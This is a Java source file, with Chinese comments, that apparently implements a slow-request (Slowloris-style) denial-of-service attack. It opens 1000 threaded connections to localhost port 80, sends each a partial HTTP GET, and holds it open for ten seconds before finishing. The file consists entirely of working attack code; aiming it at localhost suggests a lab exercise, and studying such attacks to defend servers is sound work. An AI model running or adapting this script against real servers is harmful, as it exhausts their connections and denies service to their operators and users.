import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.concurrent.CountDownLatch;

/**
 * 一个http请求的模拟，缓慢请求攻击模型
 */
public class SocketRequest {

    public static void main(String[] args) throws IOException, InterruptedException {

        Socket socket = new Socket("localhost", 80);
        CountDownLatch countDownLatch=new CountDownLatch(1000);
        for (int i=0;i<1000;i++){
            new RequestTask(socket,countDownLatch,i).start();
        }

        countDownLatch.await();
    }
}

class RequestTask extends Thread{
    Socket socket;
    CountDownLatch countDownLatch;
    int i;

    public RequestTask(Socket socket, CountDownLatch countDownLatch,int i) throws IOException {
        this.socket=new Socket("localhost", 80);
        this.countDownLatch = countDownLatch;
        this.i=i;
    }

    @Override
    public void run() {
        try {
            System.out.println("线程"+i);
            StringBuffer sb = new StringBuffer("GET / HTTP/1.1\n");
            OutputStream outputStream=socket.getOutputStream();
            outputStream.write(sb.toString().getBytes());
            //
            sleep(10000);
            outputStream.write("\n\n".getBytes());

            InputStream is = socket.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[] bytes = new byte[1024];
            int len = -1;
            while ((len = is.read(bytes)) != -1) {
                baos.write(bytes, 0, len);
            }
            System.out.println(new String(baos.toByteArray()));
            countDownLatch.countDown();
            socket.close();
        } catch (IOException e) {
            System.out.println("出错了："+i);
            e.printStackTrace();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}
